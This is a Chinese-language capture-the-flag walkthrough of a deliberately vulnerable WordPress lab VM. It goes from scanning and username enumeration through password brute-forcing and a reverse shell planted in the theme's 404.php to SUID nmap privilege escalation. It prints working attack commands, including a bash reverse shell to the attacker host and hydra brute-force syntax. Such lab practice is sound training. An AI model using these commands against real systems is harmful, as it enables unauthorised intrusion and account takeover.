实验环境
靶机下载地址
kali:10.10.10.128
靶机:10.10.10.141
基础知识点
- WordPress是一款开源的、基于PHP和MYSQL的博客和内容管理系统(CMS)。
- WPScan是一个专门用于扫描WordPress安全漏洞的自动化工具。它支持多种扫描,例如排除漏洞扫描、密码破解和主题、插件扫描等。
3。 Nikto是一个开源的Web服务器扫描工具,可以检测Web服务器上的各种漏洞和弱点。它能够对目标服务器进行全面的安全测试,包括启用的服务、已知的漏洞和配置错误等。 Nikto可以使用不同的技术来检测漏洞,包括常见的指纹检测和漏洞扫描,以及高级的Web应用程序漏洞检查,例如XSS和SQL注入。 - robots.txt是一种文本文件,用于向网络爬虫指示那些页面需要被抓取或忽略。robots.txt文件必须放置在网站的根目录下。它可能泄露一些敏感目录。
渗透流程
1. 发现主机
netdiscover -i eth0 -r 10.10.10.0/24
arp-scan 10.10.10.0/24
2. 服务发现
nmap -sS -sV -p- 10.10.10.141
3. 目录扫描
先对目标网站进行简单的浏览,看看有没有什么"好东西"。
非常酷炫!!!
使用各个目录扫描工具扫描一波
御剑:
dirsearch:
dirsearch -u http:10.10.10.141 -w
注意点:在实战环境中尽量使用多款目录扫描器,如dirb、dirbuster、gobuster等等,主要是一些目录爆破工具字典的差异性,而导致得到的结果有所不同。
浏览扫描出来的目录,查看有没有什么敏感的信息。
查看robot.txt文件:
有两个文件:
其中key-1-of-3.txt就是第一个flag。
通过查看下载下来的fsocity.dic文件,猜想一个和登录有关的。(暂时放放)
继续访问wp-admin:
看到该页面,本来先进行弱密码破解,但是手中的信息很少,就先放放吧!!!,在该页面下有一个忘记密码,先点进去看看。
发现是一个找回密码的功能,顺便输入几个用户,发现提示无效用户或者邮箱。那说明可以进行用户名破解,猜想先把账号破解出来,再破解登录密码。那上面那个fsocity.dic就有用了。
通过burpsuite破解出来账号了(由于文件太大,没有等它完全爆破完,在实战中不能这样,要有一点耐心!!!)。这里爆出账号,ELLIOT、elliot
整理一下目前收集到的信息:
账号:ELLIOT、elloit
CMS:WordPress
现在可以说捉襟见肘,诸位军师有何妙计,助我!!!有了,我灵机一动,不是有账号了嘛。只差密码了?那爆破一下?额。。。不行,这个留着最后用。
那先漏洞扫描一下呗,掏出我的大宝贝:AWVS扫一扫
哦哦,还玩个鸡毛啊!!!我不服,我不服,使用一下开源神器:web漏洞扫描开源神器nikto。
nikto -h 10.10.10.141
还是没有扫描出来扫描可以利用的漏洞。上面信息收集到的CMS不是WordPress,那使用wpscan扫一下外加暴力破解:
wpscan --url http://10.10.10.141 -U ELLIOT -P
/root/Desktop/fsocity.dic
经过两个小时的尝试终于搞出来了,服了!!!
账号:elliot(经过登录尝试,不区分大小写)
密码:ER28-0652
既然拿到后台登录权限,接下来就是get shell,还是老思路,看看有没有文件上传或者可以写木马文件。
在404.php中写入:
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/5555 0>&1'");
在kali中:
nc -lvnp 5555
查看用户权限,发现是低权限用户,切换到/home目录,发现两个文件,其中key-2-of-3.txt没有权限访问,访问password-raw-md5是一串MD5加密的robot
密码。
使用https://www.somd5.com/破解该MD5:
robot的密码为:abcdefghijklmnopqrstuvwxyz
切换robot用户:
发现不能直接在当前环境下切换用户,那就使用python反弹shell
python -c "import pty;pty.spawn('/bin/sh')"
成功得到了第二个flag,还是一样的操作,查看用户权限,提权。首先查看SUID,看能不能进行提取。
find / -perm -4000 2>/dev/null
或者
find / -perm -u=s -type f 2>/dev/null
在这里觉得/usr/local/bin/nmap有点不正常,查看查看,在kali上使用man nmap对比一下,发现没有"--interactive"选项,那就再查看查看它是搞什么的。
提取成功,是root用户,查看flag3完成!!!
拓展:
- 使用hydra爆破表单
hydra -l <username> -P <password_list_file> <target_url> http-post-form=<login_form_action_url>:<login_form_parameters>:<login_response_keyword>
其中-l参数用于指定单个用户名,-P参数用于指定密码列表文件的路径,http-post-form参数用于指定POST请求所需的参数,其中包括登录表单的Action URL、登录表示的Params和登录成功的关键字。
在上面爆破账号也可以使用hydra进行爆破:
hydra -L /root/Destop/fsocity.dic -p kks 10.10.10.141 http-post-form "/wp-login.php:log=^User^&pwd=^PASS^&wp-submit=Log+Ln:F=Inalid username"
- kali系统中自带shell脚本,可以直接使用
路径:/usr/share/webshells/php
总结:
1. 自己很菜!!!
2. 人生需要多一点耐心!!!
3. 练习再练习!!!